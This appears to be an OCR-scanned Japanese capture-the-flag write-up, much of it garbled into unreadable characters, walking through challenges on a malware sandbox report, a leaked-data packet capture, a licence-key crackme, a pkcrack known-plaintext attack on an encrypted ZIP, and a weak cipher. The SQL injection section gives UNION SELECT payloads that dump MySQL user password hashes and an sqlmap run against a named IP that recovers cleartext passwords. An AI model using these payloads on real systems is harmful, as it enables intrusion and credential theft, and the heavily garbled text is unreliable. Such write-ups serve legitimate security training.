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> total

SHAZ4R ShaBBoadcTfakd22803d7909084deB052492137h57 akfiddbe05483554h81842 ¢
File name: SHINOBOT_ARIES exe
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ratio.

Analysis date: 2015-07-07 01:44:38 UTC { 2 days, 5 hours ago )

Bl Analysis @ File detail & Additional information & Comments o votes [ Behavioural information

& HTTPrequests
URL: http:#/5038.shinobat.comi

TYPE: GET
USER AGENT: Mozillas.0 (compatible; MSIE 10,0, Windows NT 6.2; Trident/s.0)

@ DNS requests

5038 shinobotcom (54 245114.184)

= TCP connections

54.245.114.184:80
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This program cannot be run in DOS mode.
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HiLM¥S ystem¥CurrentControlS e t¥Control¥Terminal Server¥TS AppCompat
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HELMES ystem¥Curren tOontrolS e t¥0an tro¥ Terminal Server
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HiLM¥S OF T'WARE¥P olicie s¥tMicrosoft¥Win dows¥safe récodeiden tifier s¥Tran sparentEnabled
HELMES OF TWARE¥P olicie s¥Microsof¥win doms¥safe rcodeide n tifiers
HE.CU¥S oftware ¥Policie s¥hicrosoft¥Win dows¥S afer¥Codeldantifiers
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Showing 44 of 69,752 events {0.0065%) Backed by virtual memory
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T3l dataleak pcap [Wireshark 185 (SVN Rev 47350 from ftrunk—1.8)]
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[Type: multipartform-datal
First houndary: -----—- webrkitFormBoundaryufvapBrftocarygquyrin
= Encapsulated multipart part: (applicationsx-zip-compressed)
Content-Disposition: form-data; name="upfile"; filename="secret.zip"\r
content-Type: application/x-zip-compressedyriymrin
Media Type

Expand Subtrees
Expand All
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Apply as Filter
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Fallow TGP Stream
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Export Selected Packet Bytes..

& & Wiki Protocol Page
o Filter Figld Reference
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BLERRERTLTNSH) . FEEDMedia Type |ZH ') I L. [Export Seletected
Packet Bytes]# T RXR—k3 5,
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Please input the licence key.
MNCTF.exe <Licence Key>
STANDALONE-LIC-2015-01-01
This is the answer.

Invalid licence key.

[STANDALONE-LIC-2015-01-01 | EWLNSXFEIIMNSA U RAF—IZRZDD T, Thz
AHBLTHB,
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Hhttps://ja.wikipedia.org/wiki/Portable_Network_Graphics &bk #%
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XINAF) TF 4% TStirling] (http://www.vector.co jp/soft/win95/util/se079072.html)
MENDIDBEAIZIPKI(ZIP 77 A IVDI VI F U N—) NHHD T, EDHIDNALET AT
HIBRL . 0Tz NA R THZITT7 ALk 2i0)E RTF T Do HIH LT ZIP D7 AV ERRT HE
malware.exe A F TED, MD5 /\w 1 DEFIMFT 5,

C:¥ >fciv malware.exe

670ef95dfd79c3f6c1d3f63de5e3a2al c:¥ malware.exe

Nyt EY—ILIFCIV (File Checksum Integrity Verifier utility) ]
(https://support.microsoft.com/en—us/kb/841290)
& % :670ef95dfd79c3f6c1d3f63de5e3a2a3
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He iz one of the most influential person in 2013, especially
in the security industry.

He won the “Epic Ownage” of Pwnis &ward in Black Hat
UsA 2013

The key iz the full name of the father of this person.

BEOBBEDEF Google TIEpic Ownage Black Hat 2013 1% & T 9 5 &. Edward
Snoden F2EWLNSTEMDMNDB, mEDXTEFDOREDKENEININTWNADT, FNLERE

IVOUTHRRNS,

father of snowden

&

Web MNews Images ideos Shopping More Search tools

About 7,250,000 results (0.36 seconds)

Lonnie Snowden

Edward Snowden, Father

Feedback

Z % :Lonnie Snowden

HEEI LD AytE—D

Windows DT R - Y— JLIZEI > THELEWE EWSEIZERITH S, AT, HFEY
HoNTWVEWAFIEEFERLT D8, [C8]DMpsr1ELVY—ILIEMIERYZIZIID,
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MERES (CRYPT)

INRT =KD ZIP I74IVEI597F DR 22D T7(ILHEZ LN S,

® backup20150701.zip (/XRT—Fft ZIP)

® mynumber_templatexlsx (EXD Excel 7ML, I=1ELTUTL— DA TIHERIFAE
ARY

backup20150701.zip ZFA<&E LT D2DDI7MILINRZ %,

1  mynumber list.xIsx

@ mynumber_template.xlsx

T7ANQIZDNTIHEEXDI7AIVETFAIVEA A ZXDRLTHAHZENDE—DELD

THAHAENHBITES, BESIEENT= mynumber_ template.xlsx (ZIP ) EFEXD

mynumber_template.xlsx M&H DD T, BEEITF X KHE |INITZ 5, BEATEXHBEIRT EL

DEXEBE XN DIESRERDDHEFRTFIETHY. ZIP I74)LIZDULVTIE, pkerack ELVS

Y—ILTRZEMNTE D,

XZIP 9599 Y—)L Tpkerack |(https://www.unix-ag.uni-kl.de/ conrad/krypto/pkcrack/download2.html)

Windows hRIFEIEL7ELMEE D H ST Linux %,

1. XD mynumber_template.xlsx Z mynumber_template P.xlsx !) r—.L9 5
2. BEE1EEt7T= mynumber template.xlsx Z backup20150701.zip Aot 35

# . /extract backup20150701. zip mynumber_template_P. x|sx

3. FXELHESREMTITD

# . /pkcrack —c mynumber_template. xIsx —p my number_template_P. xIsx
Files read. Starting stage 1 on Fri Jul 3 12:10:22 2015
Generating 1st generation of possible key2 10312 values. .. done
Found 4194304 possible key2-values

Now we' re trying to reduce these..

Reducing number of keys... 0.0%

eal

Reducing number of keys... 100.0%Done. Left with 581 possible Values
bestOffset is 5291
Stage 1 completed. Starting stage 2 on Fri Jul 3 12:10:48 2015
Searching... 0.0%

(FRE%)
Searching... 38.7%
Ta—daaaaa! key0=7305ec30, keyl=ad/ebebd, key2=14ba96ch
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Probabilistic test succeeded for 5026 bytes

[7305ec30]1Mad7e6e5d 14ba96c5 1N F—1EH TH D, 2FY . NRAT—FHLKL R
{TH(BOXFLL) . BELAXDBER (96bit) L EDEBEIFRTENENIET
Hb,

4. Bon-BESREFAL.ZIP ID7MILEESTS

zipdecrypt 7305ec30 ad/eb6ebd 14ba96c5 backup20150701.zip
backup20150701_P. zip

INAT—EHRNMDTULVEL ZIP T7AILDELNED T, F2FEL .. mynumber list.xlsx
#F<,

| —
Ltunins 25 232469295736 |

&% 232469298736

HEEMDAVE—D

A= DY EYIZENT, INRT—R{f ZIP THEXEEZPYRYT 57— (EZ LA, i
THLAFAHEL ., HAWNIFRIARELZNBTEEATLSIGE. TBIHMFEXHE 11 fTHN.,
BEBINBETEEMED B S, S/MIME 4> PGP DR AR FEDITVRH—EREZFIAT S
At FaT7EEELH D,
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iz55<&4t (WEB)

SQL Aoz oL ar DifessttE <&,
F—T—FZANL. BEI 5. 7 RETEYNT HD T, LKE BEFLFIASA TS
ENEBTED,

SELECT 2?2 FROM ??? WHERE ??? LIKE "AHALEXF 277

XER 5|2, DB B ERFFRTEIFALGES . IRE : ANXFS
RIZ,MESEENHDHLEHERT D,
C IV T VI —MEAHNT HEIDB T5—1ARTEND,

L BAHE, UTOSIL XTEXFIOR®E - 8 TE2RT VT
' WOF—HEHESHY . BT LTLELXFIEHEHSh
83 5=, ELLIGNSILXXE L THDON S,
— SELECT ??2? FROM 2???? WHERE 2??? LIKE "7’ 2?7
DEIZ—

FDE=H. BEDUTIVIT—FUBD (REEIZES>TRET
) XFEFHAHEIDT. FNEITEET=OICaAANT OIS BIEERA D, AT IE
ERIXFHEDBYINITTIZE->TELDED. LTEHT,

HTXFE@EAVIDOER) DB \

- ORACLE, MS-SQL. SQLite. PostgreSQL

# MySQL
lMN—1 88L&V ") ZAHNT 5,
SELECT ?2?? FROM ????? WHERE ???? LIKE 'T—" 2?72

KERBEOIAVNELTHERSN, BRIND,

EEEM5, DB L MySQL THAHZEEHM B,
RIZHIVIZH L TR TKBLA—F DI D EERARS,

" ORDER BY 1 #1EANTHELUTDREY., #ERENS, ORDER BY f[FLI—FZHUEZ
HMETHY. UTOHITIE 1 FIBEZF—ELTRIBICHUBERSEMREIND,

IS—HHGENIENS 1 FIUEEFHEIEN OIS (BYRD . HFD 1 ZT5—HHD
FTAUDVAUR ANT B,

13




p—

Bl [l i
'ORDER BY 2 # 'ORDER BY 3 # ' ORDER BY 4 #
#E | &% | %5 |

fE A AT BREER DBLS—

[EE=] k&)

NUL AViGateway 3000000 UL Firelall 1000000

UL Fireliall 1000000 UL [PS 2000000

VUL IPS 2000000 UL AVGateway 3000000

UL hanager 50000000 WL hManager 50000000

LN, FDEIEIDOTHAEN OIS, D EZEIEET H_ LT, [UNIONIGAFIAT
EBHEL1T4%, TUNION G (FRGEHT—TIVEREE T ARITRIAT 297208, FID K IEHI
ZEFNEF SN, HUIZEN N2 Tl THAHLI—FEHEET S,

AFME:" UNION SELECT null, null, null #

UNION SELECT null, null, nul |

==

ot EsE

"UNION SELECT null,null null #
fia]

fFEF RS

[ZlinEE] {ilikE (M)

"L Firelall 1000000
UL IPS 2000000
VUL AviGateway 3000000
WL hanager 50000000

Em

it %3

"UNION SELECT null VERSION() USER]) #
852 |

—BTICED1ITHRRTINTLNSIEMND, RIILT=C
EPMAIZ D, CDEAD SELECT XEZEE T hIL. DB N
DR IFERMNHE N TES,

f=&Z X, MySQL D /\— 3 (E VERSION()., DB WAL
UhA—H LT USEROTH OSBRI EMTES,
AA{E:" UNION SELECT null, VERSION(),USER() #

................

UNION SELECT null, VERSION (), USER (

WL Firelhiall 1000000

WL TIPS 2000000

WL AGateway 3000000

UL Manager 50000000
5173 root@ localhost

TW5DBESHET 5,
MySQL Tl mysql T—R R—X M user T—IILIZA—H L, /SRAT—FK (\vyia)

MySQL D/8s— 3 21 5.1. 73, 2—HL&(L root TH
%, fERBIL teshigawara & LVS DB A—H D/ N\RA T —
FKEBWLWTWLADT, MySOL @ DB a—H A h

ont#sR

" UNION SELECT nullUser Password FROM mysyl userd

i#®

L
Firatall 1999000

ML TS, TSELECT User, Password FROM
mysql.user] T1A—H&Z, NRAT—KMNAFT
EFHDT, FEEEHET. HEAD SOL X
BAYT %,

VUL IPS (2000000

AAfE:" UNION SELECT null, User, Password

UL 3000000

50000000

FROM mysql. user#

root 0146717 B58FFECTEAFFFECBICEEFT428EABSFEAC

teshigawara [*BE3F8I33EF765FFAESBOBR1 DI0AGSEE7BE03DCOS

LIKE ™" UNION SELECT null, User, Password FROM

mysql. user YR

14




INAT— KONV AIFAFTEOT, NY21ZI599F 5,

Hash Type Result
| BBFB333EF 765F FAEAROGE 1D30ABE6A7BE030008 |[#s56L4.1+: shal (shat bin()) |[5733 |

Color Codes: BFEERY Exact match, vellow: Partial rmatch, EEEl Mot found,

1N 19599H Ak CrackStation J(https://crackstation.net/)
&% :5733

Sqimap IC & 5fEEH

sqlmap (Kali Linux &%V —IL) EWNSY— ILEFI T ALRTEDEXE BEIL T A EMNTE,
12MaAYURTDB M/INRT—REAFTHIENTES,
a< > K :sqlmap -u http://157.7.53.197/page2. php?keyword=1 —-passwords

RITRER

root@kali:"# sqlmap -u http://157.7.53. 197/page2. php?keyword=1 —passwords

sqlmap/1. 0-dev — automatic SOL injection and database takeover tool

http://sqlmap. org

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not

responsible for any misuse or damage caused by this program

[*] starting at 00:43:54

[00:43:54] [INFO] resuming back-end DBMS 'mysql’
[00:43:54] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
Place: GET
Parameter: keyword
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
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Payload: keyword=1" UNION ALL SELECT
NULL, CONCAT (0x7172627071, 0x4d45454¢667556665365, 0x71756b7871) , NULL#
[00:43:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5
[00:43:54] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] vy
[00:43:55] [INFO] writing hashes to a temporary file
" /tmp/sqlmaphashes-U6d0h2. txt’
do you want to perform a dictionary-based attack against retrieved password
hashes? [Y/n/ql y
[00:43:56] [INFO] using hash method 'mysql_passwd’
[00:43:56] [INFO] resuming password '5733" for hash
"%p6318333ef765fF3e9b0bb1d30a65687b6039c08" for user 'teshigawara
[00:43:56] [INFO] resuming password "admin123’ for hash
"*01a6717b58ffbc7eafff6cb7c96f7428eab5fedc’ for user 'root’
database management system users password hashes:
[*] root [1]:
password hash: *01A6717B58FF5C7EAFFF6CB7CO6F 7428EAG65FEAC
clear—text password: admin123
[*] teshigawara [1]:
password hash: *B63F8333EF765FF3E9BOBB1D30A65687B6039C08

clear—text password: 5733

BFEITIZ root M/NRAT—FHL I TEF- (admin123),

HEEMSDAvE—D

EFRDES3ESQAL AT TI ar DI ELRIBMEE D THY . WAF 5195
LRI X2 7a—T 120 THR T RELDTH S, Web Y1 5 ELI-I5E (X LiTHESS
PEAZLD, FERRBLIZIZSA LKLY,
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AERILTT (CRYPT)

EEIESNI-NELRRT DB A—ILEAXDAvE—DF—RZEBICERZSH. THX
FITARITTAE—TF B AR—R 4T [ BATTHYIL>TLVSIEN LA D,

TSSSSSSSSTSSSTSSSSSSSTSSSSSSSSSSSSS
TSSSSSSSSTSSSTSSSSTSSSSSSSSSSSSSS
TSSSSSSSSTSSSTSSSSSSTSSSSSSSSSS

()

TSSSSSSTSSS
TSSSSSSTS
TSST

TSST

TSST

KAR—RE S #TZ& TICEHMLI-BER.

Eunceypt

ut [The key is wrong! Or the messagze is corrupter

Copy To ClipBoard Create EMail Hessaze

ShinoCryptor THEB LI TULVAT=. ShinoCryptor X > A—KL., BIfEZHLTH B,
BEB XZEAYATF T, [Encryptld V) w79 HENRT—FNEX S The key is wrong! Or the
message is corrupted. | ELNIAYT—U ML NAT—REEINITHhNTWAIEMREZ S,
DEY. Avt—VARXIZENRNRT—REGDITT AW HEHERFEILTEHIENTE D,
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BRARUXFEHNEESEL. EREHMELTHSBH, /N\AT—FK (Key Phrase) [ password | T,
TAAA].BBB]. CCCCIEREEILLTH 5B,

AAA BBB cCeC
TSSSSTSSS
TSSSSTS TSSSSTSS TSSSSTSSS
TSSSSTS TSSSSTSS TSSSSTSSS
TSSSSTS TSSSSTSS TSSSSTSSS
TSSSSSSST TSSSSSSST TSSSSSSST
TSSSSSSTS TSSSSSSTS TSSSSSSTS
TSSSSSSSTSSS TSSSSSSSTSSS TSSSSSSSTSSS
TSSSSSSSTSSS TSSSSSSSTSSS TSSSSSSSTSSS
TSSSSSSSTSSSSSSS TSSSSSSSTSSSSSSS TSSSSSSSTSSSSSSS
TSSSSSSTSSSSSSSSSSSSSSS  TSSSSSSTSSSSSSSSSSSSSSS  TSSSSSSTSSSSSSSSSSSSSSS
TSSSSSSSTSS TSSSSSSSTSS (= = = = = = | TSSSSSSSTSS
TSSSSSSTSSSS TssssssTssss | FUE 1 76sssssTSSSS
TSST TSST TSST
TSST TSST TSST

EBEFELGSTEY. FEH(EVIE) IEHBLTLS,

HBDNRT—FEFAL TS0, HEH AN/ RT—FEREEML TS EHERIT
&5, TDAyt—I2H@E D Z{TIL . KeyPhrase ##(Zpassword |15 (Decrypt 7R 3>)
THEESTES,

Output |75 =EmmEREAOEANE S50/, FEEE FE00HT T,
% Al3 TWEAKCRYPTO) TF . macnica

& Z :WEAKCRYPTO

BE.XBTIELEWESIZEFEBL-ES. TAID ASCI O—F 0x41 LT TSSSSTS |#HLE T 5
ES(RAR=R)DEMNETRYIYTASCIT—RZEZRLTWDEIZR ML ETHLELIENT
=5,

HEBEEMNDAvtE—
5742 ShinoCryptor [EHBENFEEBRICHAELIY—ILT. BSILEWLSKYERTH
J9594—Y—ILTHBEEZS,
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BIWMA % (BINARY)

HKRE(EBEHRETHY . [FEMSA BINARY) IEFEDTOY S LISERADITvE
VY REERLI A FUTHY  BEHERH ETRT LRI TERV LIS, HEELEN
TLVELY,

&, 742 ZAF—IET THISISTHELICENCEKEY | T#H 5.
cthant icr: THEL CENCEKEY

Thiz is the arswer

PORERFLL

%% :POWERFULARXAN

AR, B E RO TEGN =S, —/\DHIBRL TS,

ULt
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